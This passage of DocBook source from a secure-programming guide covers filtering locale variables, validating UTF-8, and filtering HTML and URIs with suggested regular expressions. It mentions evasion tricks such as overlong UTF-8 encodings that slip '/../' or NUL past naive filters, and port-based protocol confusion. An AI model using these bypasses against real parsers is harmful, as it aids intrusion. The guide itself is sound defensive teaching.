(e.g., Red Hat released an update to fix this error in glibc
on September 1, 2000).
This kind of filtering isn't required by any standard, so you're
safer doing this filtering yourself.
I have not found any guidance on filtering language settings,
so here are my suggestions based on my own research into the issue.
</para>

<para>
First, a few words about the legal values of these settings.
Language settings are generally set using the standard tags defined
in IETF RFC 1766 (which uses two-letter country codes as its basic tag,
followed by an optional subtag separated by a dash; I've found that
environment variable settings use the underscore instead).
However, some find this insufficiently flexible, so three-letter country
codes may soon be used as well.
Also, there are two major not-quite compatible extended formats, the
X/Open Format and the CEN Format (European Community Standard);
you'd like to permit both.
Typical values include
``C'' (the C locale), ``EN'' (English''),
and ``FR_fr'' (French using the territory of France's conventions).
Also, so many people use nonstandard names that programs have had to develop
``alias'' systems to cope with them
(for GNU gettext, see /usr/share/locale/locale.aliases, and for X11, see
/usr/lib/X11/locale/locale.aliases); they should usually be
permitted as well.
Libraries like gettext() have to accept all these variants and find an
appropriate value, where possible.
One source of further information is FSF [1999].
However, a filter should not permit characters that aren't needed,
in particular ``/'' (which might permit escaping out of the trusted
directories) and ``..'' (which might permit going up one directory).
Other dangerous characters in NLSPATH
include ``%'' (which indicates substitution) and ``:''
(which is the directory separator); the documentation I have for other
machines suggests that some implementations may use them for other values,
so it's safest to prohibit them.
<!-- The Sun man page for "man locale" is disturbingly ambiguous on whether
     or not these characters affect values other than NLSPATH -->
</para>
</sect2>

<sect2 id="locale-bottom-line">
<title>Bottom Line</title>

<para>
In short, I suggest
simply erasing or re-setting the NLSPATH, unless you have a trusted user
supplying the value.
For the Accept-Language heading in HTTP (if you use it),
form values specifying the locale, and the environment variables
LANGUAGE, LANG, the old LINGUAS, LC_ALL, and the other LC_* values listed
above,
filter the locales from untrusted users to permit null (empty) values or
to only permit values that match in total this regular expression:
<programlisting width="61">
 [A-Za-z][A-Za-z0-9_,+@\-\.]*
</programlisting>
I haven't found any legitimate locale which doesn't match this pattern,
but this pattern does appear to protect against locale attacks.
Of course, there's no guarantee that there are messages available
in the requested locale,
but in such a case these routines will fall back to the default
messages (usually in English), which at least is not a security problem.
<!-- I developed this pattern, after looking at the GLIBC specs in
     http://www.netppl.fi/~pp/glibc21/libc_8.html and the aliases on
     Red Hat 6.2 -->
</para>

<!-- See John Levon's Bugtraq post on July 26, 2000 re internationalization
     and format strings.
-->

<para>
Of course, languages cannot be supported without a
standard way to represent their written symbols, which brings
us to the issue of character encoding.
</para>

</sect2>

</sect1>

<sect1 id="character-encoding">
<title>Character Encoding</title>

<sect2 id="character-encoding-intro">
<title>Introduction to Character Encoding</title>

<para>
For many years Americans have exchanged text using the ASCII character set;
since essentially all U.S. systems support ASCII,
this permits easy exchange of English text.
Unfortunately, ASCII is completely inadequate in handling the characters
of nearly all other languages.
For many years different countries have adopted different techniques for
exchanging text in different languages, making it difficult to exchange
data in an increasingly interconnected world.
</para>

<para>
More recently, ISO has developed ISO 10646,
the ``Universal Mulitple-Octet Coded Character Set (UCS).
UCS is a coded character set which
defines a single 31-bit value for each of all of the world's characters.
The first 65536 characters of the UCS (which thus fit into 16 bits)
are termed the ``Basic Multilingual Plane'' (BMP),
and the BMP is intended to cover nearly all of today's spoken languages.
The Unicode forum develops the Unicode standard, which concentrates on
the UCS and adds some additional conventions to aid interoperability.
Historically, Unicode and ISO 10646 were developed by competing groups,
but thankfully they realized that they needed to work together and they now
coordinate with each other.
</para>

<para>
If you're writing new software that handles internationalized characters,
you should be using ISO 10646/Unicode as your basis for handling
international characters.
However, you may need to process older documents in various older
(language-specific) character sets, in which case, you need to ensure that
an untrusted user cannot control the setting of another document's
character set (since this would significantly affect the document's
interpretation).
</para>
</sect2>

<sect2 id="character-encoding-utf8">
<title>Introduction to UTF-8</title>

<para>
Most software is not designed to handle 16 bit or 32 bit characters,
yet to create a universal character set more than 8 bits was required.
Therefore, a special format called ``UTF-8'' was developed to encode these
potentially international
characters in a format more easily handled by existing programs and libraries.
UTF-8 is defined, among other places, in IETF RFC 2279, so it's a
well-defined standard that can be freely read and used.
UTF-8 is a variable-width encoding; characters numbered 0 to 0x7f (127)
encode to themselves as a single byte,
while characters with larger values are encoded into 2 to 6 bytes of
information (depending on their value).
The encoding has been specially designed to have the following
nice properties (this information is from the RFC and Linux utf-8 man page):

<itemizedlist>
<listitem><para>
       The classical US ASCII characters (0 to 0x7f) encode as themselves,
       so files  and strings  which  contain only 7-bit ASCII characters
       have the same encoding under both ASCII and UTF-8.
       This is fabulous for backwards compatibility with the many existing
       U.S. programs and data files.
</para></listitem>

<listitem><para>
       All UCS characters beyond 0x7f are  encoded  as  a  multibyte
       sequence  consisting  only of bytes in the range 0x80 to 0xfd.
       This means that no ASCII byte can appear  as  part  of  another
       character.  Many other encodings permit characters such as an
       embedded NIL, causing programs to fail.
</para></listitem>

<listitem><para>
       It's easy to convert between UTF-8 and a 2-byte or 4-byte
       fixed-width representations of characters (these are called
       UCS-2 and UCS-4 respectively).
</para></listitem>

<listitem><para>
       The lexicographic sorting order of UCS-4 strings is preserved,
       and the Boyer-Moore fast search algorithm can be used directly
       with UTF-8 data.
</para></listitem>

<listitem><para>
       All  possible 2^31 UCS codes can be encoded using UTF-8.
</para></listitem>

<listitem><para>
       The  first byte of a multibyte sequence which represents
       a single non-ASCII UCS character is always in the  range
       0xc0  to  0xfd  and  indicates  how  long this multibyte
       sequence is. All further bytes in a  multibyte  sequence
       are  in  the range 0x80 to 0xbf. This allows easy resynchronization;
       if a byte is missing, it's easy to skip forward to the ``next''
       character, and it's always easy to skip forward and back to the
       ``next'' or ``preceding'' character.
</para></listitem>

</itemizedlist>
</para>


<para>
In short, the UTF-8 transformation format is becoming a dominant method
for exchanging international text information because it can support all of the
world's languages, yet it is backward compatible with U.S. ASCII files
as well as having other nice properties.
For many purposes I recommend its use, particularly when storing data
in a ``text'' file.
</para>
</sect2>

<sect2 id="utf8-security-issues">
<title>UTF-8 Security Issues</title>


<para>
The reason to mention UTF-8 is that
some byte sequences are not legal UTF-8, and
this might be an exploitable security hole.  The RFC notes the following:

<blockquote>
<para>
Implementors of UTF-8 need to consider the security aspects of how
they handle illegal UTF-8 sequences.  It is conceivable that in some
circumstances an attacker would be able to exploit an incautious
UTF-8 parser by sending it an octet sequence that is not permitted by
the UTF-8 syntax.
</para>

<para>
A particularly subtle form of this attack could be carried out
against a parser which performs security-critical validity checks
against the UTF-8 encoded form of its input, but interprets certain
illegal octet sequences as characters.  For example, a parser might
prohibit the NUL character when encoded as the single-octet sequence
00, but allow the illegal two-octet sequence C0 80 and interpret it
as a NUL character.  Another example might be a parser which
prohibits the octet sequence 2F 2E 2E 2F ("/../"), yet permits the
illegal octet sequence 2F C0 AE 2E 2F.
</para>
</blockquote>

</para>

<para>
A longer discussion about this is available at
Markus Kuhn's
<emphasis remap="it">UTF-8 and Unicode FAQ for Unix/Linux</emphasis> at
<ulink
url="http://www.cl.cam.ac.uk/~mgk25/unicode.html">http://www.cl.cam.ac.uk/~mgk25/unicode.html</ulink>.
</para>
</sect2>

<sect2 id="utf8-legal-values">
<title>UTF-8 Legal Values</title>

<para>
Thus, when accepting UTF-8 input, you need to check if it's
valid UTF-8.
Here is a list of all legal UTF-8 sequences; any character
sequence not matching this table is not a legal UTF-8 sequence.
In the following table, the first three rows list the legal UTF-8 sequences
in binary, hexadecimal, and octal.
The last row lists the UCS code region that the sequence encodes to
(in hexadecimal).
In the binary column, the ``x'' indicates that either a 0 or 1 is legal in
the sequence.
In the other columns, a ``-'' indicates a range of legal values (inclusive).
Of course, just because a sequence is a legal UTF-8 sequence doesn't
mean that you should accept it (see the other issues discussed in this
book).
<table>
<title>Legal UTF-8 Sequences</title>
<tgroup cols="5">
<colspec colname="binary">
<colspec colname="hex">
<colspec colname="octal">
<colspec colname="decimal">
<colspec colname="UCS">
<thead>
<row><entry>Binary</entry><entry>Hexadecimal</entry><entry>Octal</entry><entry>Decimal</entry><entry>UCS Code (Hex)</entry></row>
</thead>
<tbody>
<row><entry>0xxxxxxx</entry><entry>00-7F</entry><entry>0-177</entry><entry>0-127</entry><entry>0000000-0000007F</entry></row>
<row><entry>110xxxxx 10xxxxxx</entry><entry>C0-DF 80-BF</entry><entry>300-337 200-277</entry><entry>192-223 128-191</entry><entry>00000080-000007FF</entry></row>
<row><entry>1110xxxx 10xxxxxx 10xxxxxx</entry><entry>E0-EF 80-BF 80-BF</entry><entry>340-357 200-277 200-277</entry><entry>224-239 128-191 128-191</entry><entry>00000800-0000FFFF</entry></row>
<row><entry>11110xxx 10xxxxxx 10xxxxxx 10xxxxxx</entry><entry>F0-F7 80-BF 80-BF 80-BF</entry><entry>360-367 200-277 200-277 200-277</entry><entry>240-247 128-191 128-191 128-191</entry><entry>00010000-001FFFFF</entry></row>
<row><entry>111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx</entry><entry>F8-FB 80-BF 80-BF 80-BF 80-BF</entry><entry>370-373 200-277 200-277 200-277 200-277</entry><entry>248-251 128-191 128-191 128-191 128-191</entry><entry>00200000-03FFFFFF</entry></row>
<row><entry>1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx</entry><entry>FC-FD 80-BF 80-BF 80-BF 80-BF 80-BF</entry><entry>374-375 200-277 200-277 200-277 200-277 200-277</entry><entry>252-253 128-191 128-191 128-191 128-191 128-191</entry><entry>04000000-7FFFFFFF</entry></row>
</tbody>
</tgroup>
</table>
</para>

<para>
I should note that in some cases, you might want to cut slack (or use
internally) the hexadecimal sequence C0 80.  This is an overlong sequence
that, if permitted, can represent ASCII NUL (NIL).  Since C and C++
have trouble including a NIL character in an ordinary string,
some people have taken
to using this sequence when they want to represent NIL as part of the
data stream; Java even enshrines the practice.
Feel free to use C0 80 internally while processing data, but technically
you really should translate this back to 00 before saving the data.
Depending on your needs, you might decide to be ``sloppy'' and accept
C0 80 as input in a UTF-8 data stream.
If it doesn't harm security, it's probably a good practice to accept this
sequence since accepting it aids interoperability.
</para>
</sect2>


<sect2 id="utf8-illegal-values">
<title>UTF-8 Illegal Values</title>

<para>
The UTF-8 character set is one case where it's possible to
enumerate all illegal values (and prove that you've enumerated them all).
You detect an illegal sequence by checking for two things:
(1) is the initial sequence legal, and
(2) if it is, is the first byte followed by the required number of valid
continuation characters?
Performing the first check is easy; the following is provably
the complete list of all illegal UTF-8 initial sequences:

<table>
<title>Illegal UTF-8 initial sequences</title>
<tgroup cols="2">
<colspec colname="coln1">
<colspec colname="coln2">
<thead>
<row><entry>UTF-8 Sequence</entry><entry>Reason for Illegality</entry></row>
</thead>
<tbody>
<row><entry>10xxxxxx</entry> <entry>illegal as initial byte of character (80..BF)</entry></row>
<row><entry>1100000x           </entry><entry>illegal, overlong (C0 80..BF)</entry></row>
<row><entry>11100000 100xxxxx  </entry><entry>illegal, overlong (E0 80..9F)</entry></row>
<row><entry>11110000 1000xxxx  </entry><entry>illegal, overlong (F0 80..8F)</entry></row>
<row><entry>11111000 10000xxx  </entry><entry>illegal, overlong (F8 80..87)</entry></row>
<row><entry>11111100 100000xx  </entry><entry>illegal, overlong (FC 80..83)</entry></row>
<row><entry>1111111x           </entry><entry>illegal; prohibited by spec</entry></row>
</tbody>
</tgroup>
</table>

</para>

<para>
The second step is to check
if the correct number of continuation characters
are included in the string.
If the first byte has the top 2 bits set, you count the number of
``one'' bits set after the top one, and then check that there are that many
continuation bytes which begin with the bits ``10''.
So, binary 11100001 requires two more continuation bytes.
</para>

<para>
Again, although C0 80 is technically an illegal UTF-8 sequence, for
interoperability purposes you might want to accept it as a synonym for
character 0 (NIL).
</para>
</sect2>


<sect2 id="utf8-related-issues">
<title>UTF-8 Related Issues</title>

<para>
This section has discussed UTF-8, because it's the most popular
multibyte encoding of UCS, simplifying a lot of international text
handling issues.
However, it's certainly not the only encoding; there are other encodings,
such as UTF-16 and UTF-7, which have the same kinds of issues and
must be validated for the same reasons.
</para>

<para>
Another issue is that some phrases can be expressed in more than one
way in ISO 10646/Unicode.
For example, some accented characters can be represented as a single
character (with the accent) and also as a set of characters
(e.g., the base character plus a separate composing accent).
These two forms may appear identical.
There's also a zero-width space that could be inserted, with the
result that apparently-similar items are considered different.
Beware of situations where such hidden text could interfere with the program.
This is an issue that in general is hard to solve; most programs don't
have such tight control over the clients that they know completely how
a particular sequence will be displayed (since this depends on the
client's font, display characteristics, locale, and so on).
</para>

</sect2>

</sect1>

<sect1 id="input-protection-cross-site">
<title>Prevent Cross-site Malicious Content on Input</title>

<para>
Some programs accept data from one untrusted user and pass that data
on to a second user; the second user's application may then process that
data in a way harmful to the second user.
This is a particularly common problem for web applications,
we'll call this problem ``cross-site malicious content.''
In short, you cannot accept input (including any form data)
without checking, filtering, or encoding it.
For more information, see
<xref linkend="cross-site-malicious-content">.
</para>

<para>
Fundamentally, this means that all web application input must be
filtered (so characters that can cause this problem are removed),
encoded (so the characters that can cause this problem are encoded in
a way to prevent the problem), or
validated (to ensure that only ``safe'' data gets through).
Filtering and validation should often be done at the input, but
encoding can be done either at input or output time.
If you're just passing the data through without analysis, it's probably
better to encode the data on input (so it won't be forgotten), but
if you're processing the data, there are arguments for encoding on
output instead.
</para>

</sect1>


<sect1 id="filter-html">
<title>Filter HTML/URIs That May Be Re-presented</title>

<para>
One special case where cross-site malicious content must be
prevented are web applications
which are designed to accept HTML or XHTML from one user, and then send it on
to other users
(see <xref linkend="cross-site-malicious-content"> for
more information on cross-site malicious content).
The following subsections discuss filtering this specific kind of input,
since handling it is such a common requirement.
</para>

<sect2 id="remove-html-tags">
<title>Remove or Forbid Some HTML Data</title>

<para>
It's safest to remove all possible (X)HTML tags so they cannot affect anything,
and this is relatively easy to do.
As noted above, you should already be identifying the list of legal
characters, and rejecting or removing those characters that aren't
in the list.
In this filter, simply don't include the following characters in
the list of legal characters: ``&lt;'', ``&gt;'', and ``&amp;'' (and if
they're used in attributes, the double-quote character ``&quot;'').
If browsers only operated according the HTML specifications, the ``&gt"''
wouldn't need to be removed, but in practice it must be removed.
This is because some browsers assume that the author of the page
really meant to put in an opening "&lt;" and ``helpfully'' insert one -
attackers can exploit this behavior and use the "&gt;" to create an
undesired "&lt;".
<!-- CERT http://www.cert.org/tech_tips/malicious_code_mitigation.html -->
</para>

<para>
Usually the character set for transmitting HTML is
ISO-8859-1 (even when sending international text),
so the filter should also omit most control characters (linefeed and
tab are usually okay) and characters with their high-order bit set.
</para>

<para>
One problem with this approach is that it can really surprise users,
especially those entering international text if all international
text is quietly removed.
If the invalid characters are quietly removed without warning,
that data will be irrevocably lost and cannot be reconstructed later.
One alternative is forbidding such characters and sending error messages
back to users who attempt to use them.
This at least warns users, but doesn't give them the functionality
they were looking for.
Other alternatives are encoding this data or validating this data,
which are discussed next.
</para>
</sect2>

<sect2 id="encoding-html-tags">
<title>Encoding HTML Data</title>

<para>
An alternative that is nearly as safe
is to transform the critical characters so they won't
have their usual meaning in HTML.
This can be done by translating all "&lt;" into "&amp;lt;",
"&gt;" into "&amp;gt;", and "&amp;" into "&amp;amp;".
Arbitrary international characters can be encoded in Latin-1
using the format "&amp;#value;" - do not forget the ending semicolon.
Encoding the international characters means you must know what the
input encoding was, of course.
</para>

<para>
One possible danger here is that if these encodings are accidentally
interpreted twice, they will become a vulnerability.
However, this approach at least permits later users to see the
"intent" of the input.
</para>
</sect2>

<sect2 id="Validating-html-tags">
<title>Validating HTML Data</title>

<para>
Some applications, to work at all, must accept HTML from third parties
and send them on to their users.
Beware - you are treading dangerous ground at this point; be sure
that you really want to do this.
Even the idea of accepting HTML from arbitrary places
is controversial among some security practitioners, because it is extremely
difficult to get it right.
</para>

<para>
However, if your application must accept HTML, and you believe
that it's worth the risk, at least identify a list
of ``safe'' HTML commands and only permit those commands.
</para>

<para>
Here is a minimal set of safe HTML tags
that might be useful for applications (such as guestbooks)
that support short comments:
&lt;p&gt; (paragraph),
&lt;b&gt; (bold),
&lt;i&gt; (italics),
&lt;em&gt; (emphasis),
&lt;strong&gt; (strong emphasis),
&lt;pre&gt; (preformatted text),
&lt;br&gt; (forced line break),
as well as all their ending tags.
</para>

<para>
Not only do you need to ensure that only a small set
of ``safe'' HTML commands are accepted, you also need to ensure
that they are properly nested and closed.
In XML, this is termed ``well-formed'' data.
A few exceptions could be made if you're accepting standard HTML
(e.g., supporting an implied &lt;/p&gt; where not provided before a
&lt;p&gt; would be fine), but trying to accept HTML in its full
generality is not needed for most applications.
Indeed, if you're trying to stick to XHTML (instead of HTML), then
well-formedness is a requirement.
Also, HTML permits tags to be upper case, lower case, or a mixture;
you could accept any case as well, but if you intend for this to be used
for XML then you need to require all tags to be in lower case.
</para>

<para>
Here are a few random tips about doing this.
Usually you should design whatever surrounds the HTML text and the
set of permitted tags so that the contributed text cannot be misinterpreted
as text from the ``main'' site (to prevent forgeries).
Don't accept any attributes unless you've checked the attribute type and
its value; there are many attributes that support things such as
Javascript that can cause trouble for your users.
You'll notice that in the above list I didn't include any attributes at all,
which is certainly the safest course.
You should probably give a warning message if an unsafe tag is used,
but if that's not practical, encoding the critical characters
(e.g., "&lt;" becomes "&amp;lt;") prevents data loss while
simultaneously keeping the users safe.
</para>
</sect2>

<sect2 id="Validating-uris">
<title>Validating Hypertext Links (URIs/URLs)</title>

<para>
Careful readers will notice that I did not include the hypertext link tag
&lt;a&gt; as a safe tag in HTML.
Clearly, you could add
&lt;a href="safe URI"&gt; (hypertext link) to the safe list
(not permitting any other attributes unless you've checked their
contents).
If your application requires it, then do so.
However, permitting third parties to create links
is much less safe, because defining a ``safe URI''<footnote>
<para>
Technically, a hypertext link can be any ``uniform resource
identifier'' (URI).
The term "Uniform Resource Locator" (URL) refers to the subset of URIs
that identify resources via a representation of their primary access
mechanism (e.g., their network "location"), rather than identifying
the resource by name or by some other attribute(s) of that resource.
Many people use the term ``URL'' as synonymous with ``URI'', since URLs
are the most common kind of URI.
For example, the encoding used in URIs is actually called ``URL encoding''.
</para>
</footnote>
turns out to be very difficult.
Many browsers accept
all sorts of URIs which may be dangerous to the user.
This section discusses how to validate URIs from third parties for
re-presenting to others, including URIs incorporated into HTML.
</para>

<para>
First, let's look briefly at URI syntax (as defined by various specifications).
URIs can be either ``absolute'' or ``relative''.
The syntax of an absolute URI looks like this:
<programlisting>
scheme://authority[path][?query][#fragment]
</programlisting>
A URI starts with a scheme name (such as ``http''), the characters ``://'',
the authority (such as ``www.dwheeler.com''), a path
(which looks like a directory or file name), a question mark followed by
a query, and a hash (``#'') followed by a fragment identifier.
The square brackets surround optional portions - e.g., many URIs don't
actually include the query or fragment.
Some schemes may not permit some of the data (e.g., paths, queries, or
fragments), and many schemes have additional requirements unique to them.
Many schemes permit the ``authority'' field to identify
optional usernames, passwords, and ports, using this syntax for the
``authority'' section:
<programlisting>
 [username[:password]@]host[:portnumber]
</programlisting>
The ``host'' can either be a name (``www.dwheeler.com'') or an IPv4
numeric address (127.0.0.1).
A ``relative'' URI references one object relative to the ``current'' one,
and its syntax looks a lot like a filename:
<programlisting>
path[?query][#fragment]
</programlisting>
There are a limited number of characters permitted in most of the URI,
so to get around this problem, other 8-bit characters may be ``URL encoded''
as %hh (where hh is the hexadecimal value of the 8-bit character).
For more detailed information on valid URIs, see IETF RFC 2396 and its
related specifications.
</para>

<para>
Now that we've looked at the syntax of URIs, let's examine the risks
of each part:
<itemizedlist>
<listitem><para>Scheme:
Many schemes are downright dangerous.
Permitting someone to insert a ``javascript'' scheme into your material
would allow them to trivially mount denial-of-service attacks
(e.g., by repeatedly creating windows so the user's machine freezes or
becomes unusable).
More seriously, they might be able to exploit a known vulnerability in
the javascript implementation.
Some schemes can be a nuisance, such as ``mailto:'' when a mailing
is not expected, and some schemes may not be sufficiently secure
on the client machine.
Thus, it's necessary to limit the set of allowed schemes to
just a few safe schemes.
</para></listitem>
<listitem><para>Authority:
Ideally, you should limit user links to ``safe'' sites, but this is
difficult to do in practice.
However, you can certainly do something about usernames, passwords,
and portnumbers: you should forbid them.
Systems expecting usernames (especially with passwords!) are probably
guarding more important material;
rarely is this needed in publically-posted URIs, and someone could try
to use this functionality to convince users
to expose information they have access to and/or
use it to modify the information.
Usernames without passwords are no less dangerous, since browsers typically
cache the passwords.
You should not usually permit specification of ports, because
different ports expect different protocols and the resulting
``protocol confusion'' can produce an exploit.
For example, on some systems it's possible to use the ``gopher'' scheme
and specify the SMTP (email) port to cause a user to send email of the
attacker's choosing.
You might permit a few special cases (e.g., http ports 8008 and 8080),
but on the whole it's not worth it.
The host when specified by name actually has a fairly limited character set
(using the DNS standards).
Technically, the standard doesn't permit the underscore (``_'') character,
but Microsoft ignored this part of the standard and even requires the
use of the underscore in some circumstances, so you probably should allow it.
Also, there's been a great deal of work on supporting international
characters in DNS names, which is not further discussed here.
</para></listitem>
<listitem><para>Path:
Permitting a path is usually okay, but unfortunately some applications
use part of the path as query data, creating an opening we'll discuss next.
Also, paths are allowed to contain phrases like ``..'', which can expose
private data in a poorly-written web server;
this is less a problem than it once was and really should be fixed
by the web server.
Since it's only the phrase ``..'' that's special, it's reasonable to
look at paths (and possibly query data) and forbid ``../'' as a content.
However, if your validator permits URL escapes, this can be difficult;
now you need to prevent versions where some of these characters are
escaped, and may also have to deal with various ``illegal'' character
encodings of these characters as well.
</para></listitem>
<listitem><para>Query:
Query formats (beginning with "?") can be a security risk
because some query formats actually cause actions to occur on the serving end.
They shouldn't, and your applications shouldn't, as discussed in
<xref linkend="avoid-get-non-queries"> for more information.
However, we have to acknowledge the reality as a serious problem.
In addition, many web sites are actually ``redirectors'' - they take a
parameter specifying where the user should be redirected, and send back
a command redirecting the user to the new location.
If an attacker references such sites and provides
a more dangerous URI as the redirection value, and the
browser blithely obeys the redirection, this could be a problem.
Again, the user's browser should be more careful, but not all user
browsers are sufficiently cautious.
Also, many web applications have vulnerabilities that can be
exploited with certain query values, but in general this is hard to
prevent.
The official URI specifications don't sanction the ``+'' (plus) character,
but in practice the ``+'' character often represents the space character.
</para></listitem>
<listitem><para>Fragment:
Fragments basically locate a portion of a document; I'm unaware of
an attack based on fragments as long as the syntax is legal, but the
legality of its syntax does need checking.
Otherwise, an attacker might be able to insert a character such as the
double-quote (") and prematurely end the URI (foiling any checking).
</para></listitem>
<listitem><para>URL escapes:
URL escapes are useful because they can represent arbitrary 8-bit
characters; they can also be very dangerous for the same reasons.
In particular, URL escapes can represent control characters, which many
poorly-written web applications are vulnerable to.
In fact, with or without URL escapes, many web applications are vulnerable
to certain characters (such as backslash, ampersand, etc.), but again
this is difficult to generalize.
</para></listitem>
<listitem><para>Relative URIs:
Relative URIs should be reasonably safe (if you manage the web site well),
although in some applications there's no good reason to allow them either.
</para></listitem>
</itemizedlist>
Of course, there is a trade-off with simplicity as well.
Simple patterns are easier to understand, but
they aren't very refined (so they tend to be too permissive or
too restrictive, even more than a refined pattern).
Complex patterns can be more exact, but they are more likely to have
errors, require more performance to use, and can be hard to
implement in some circumstances.
</para>


<para>
Here's my suggestion for a ``simple mostly safe'' URI pattern which is
very simple and can be implemented ``by hand'' or through a regular
expression; permit the following pattern:
<programlisting width="79">
(http|ftp|https)://[-A-Za-z0-9._/]+
</programlisting>
</para>

<para>
This pattern doesn't permit many potentially dangerous capabilities
such as queries, fragments, ports, or relative URIs,
and it only permits a few schemes.
It prevents the use of the ``%'' character, which is used in URL escapes
and can be used to specify characters that the server may not be
prepared to handle.
Since it doesn't permit either ``:'' or URL escapes, it doesn't permit
specifying port numbers, and even using it to redirect to a
more dangerous URI would be difficult (due to the lack of the escape character).
It also prevents the use of a number of other characters; again, many
poorly-designed web applications can't handle a number of
``unexpected'' characters.
</para>

<para>
Even this ``mostly safe'' URI permits
a number of questionable URIs, such as
subdirectories (via ``/'') and attempts to move up directories (via `..'');
illegal queries of this kind should be caught by the server.
It permits some illegal host identifiers (e.g., ``20.20''),
though I know of no case where this would be a security weakness.
Some web applications treat subdirectories as query data (or worse,
as command data); this is hard to prevent in general since finding
``all poorly designed web applications'' is hopeless.
You could prevent the use of all paths, but this would make it
impossible to reference most Internet information.
The pattern also allows references to local server information
(through patterns such as "http:///", "http://localhost/", and
"http://127.0.0.1") and access to servers on an internal network;
here you'll have to depend on the servers correctly interpreting the
resulting HTTP GET request as solely a request for information and not
a request for an action,
as recommended in <xref linkend="avoid-get-non-queries">.
Since query forms aren't permitted by this pattern, in many environments
this should be sufficient.
</para>

<para>
Unfortunately, the ``mostly safe''
pattern also prevents a number of quite legitimate and useful URIs.
For example,
many web sites use the ``?'' character to identify specific documents
(e.g., articles on a news site).
The ``#'' character is useful for specifying specific sections of a document,
and permitting relative URIs can be handy in a discussion.
Various permitted characters and URL escapes aren't included in the
``mostly safe'' pattern.
For example, without permitting URL escapes, it's difficult to access
many non-English pages.
If you truly need such functionality, then you can use less safe patterns,
realizing that you're exposing your users to higher risk while
giving your users greater functionality.
</para>

<para>
One pattern that permits queries, but at
least limits the protocols and ports used is the following,
which I'll call the ``simple somewhat safe pattern'':
<programlisting width="79">
 (http|ftp|https)://[-A-Za-z0-9._]+(\/([A-Za-z0-9\-\_\.\!\~\*\'\(\)\%\?]+))*/?
</programlisting>
This pattern actually isn't very smart, since it permits illegal escapes,
mutiple queries, queries in ftp, and so on.
It does have the advantage of being relatively simple.
</para>

<para>
Creating a ``somewhat safe'' pattern that really limits URIs
to legal values is quite difficult.
Here's my current attempt to do so, which I call
the ``sophisticated somewhat safe pattern'', expressed in a form
where whitespace is ignored and comments are introduced with "#":
<!-- Warning!  If you are cutting and pasting this pattern, make sure that
  the "&amp;" is turned back into an ampersand, and that the whitespace
  is removed before use or ignored during use. -->

<programlisting width="79">
 (
 (
  # Handle http, https, and relative URIs:
  ((https?://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?))|
    ([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)?
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
   (\?(                                                              # query:
       (([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+=
        ([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+
        (\&amp;([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+=
         ([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*)
       |
       (([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+  # isindex
       )
   ))?
   (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )|
 # Handle ftp:
 (ftp://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?)
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
  (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )
 )
</programlisting>

</para>

<para>
Even the sophisticated pattern shown above doesn't forbid all illegal URIs.
For example, again, "20.20" isn't a legal domain name, but it's allowed
by the pattern; however, to my knowledge
this shouldn't cause any security problems.
The sophisticated pattern forbids URL escapes that represent
control characters (e.g., %00 through $1F) - 
the smallest permitted escape value is %20 (ASCII space).
Forbidding control characters prevents some trouble, but it's
also limiting; change "2-9" to "0-9" everywhere if you need to support sending
all control characters to arbitrary web applications.
This pattern does permit all other URL escape values in paths,
which is useful for international characters but could cause trouble
for a few systems which can't handle it.
The pattern at least prevents spaces, linefeeds,
double-quotes, and other dangerous characters
from being in the URI, which prevents other kinds of
attacks when incorporating the URI into a generated document.
Note that the pattern permits ``+'' in many places, since in practice
the plus is often used to replace the space character
in queries and fragments.
</para>

<para>
Unfortunately, as noted above,
there are attacks which can work through any technique that permit query data,
and there don't seem to be really good defenses for them once you
permit queries.
So, you could strip out the ability to use query data from the
pattern above, but permit the other forms, producing a
``sophisticated mostly safe'' pattern:
<programlisting width="79">
 (
 (
  # Handle http, https, and relative URIs:
  ((https?://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?))|
    ([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)?
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
   (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )|
 # Handle ftp:
 (ftp://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?)
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
  (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )
 )
</programlisting>
</para>

<para>
As far as I can tell, as long as these patterns are only used to check
hypertext anchors selected by the user (the "&lt;a&gt;" tag)
this approach also prevents the insertion of ``web bugs''.
Web bugs are simply text that allow someone other
than the originating web server
of the main page to track information such as who read
the content and when they read it -
see <xref linkend="embedded-content-bugs"> for more information.
This isn't true if you use the &lt;img&gt; (image) tag with the same
checking rules - the image tag is loaded immediately, permitting
someone to add a ``web bug''.
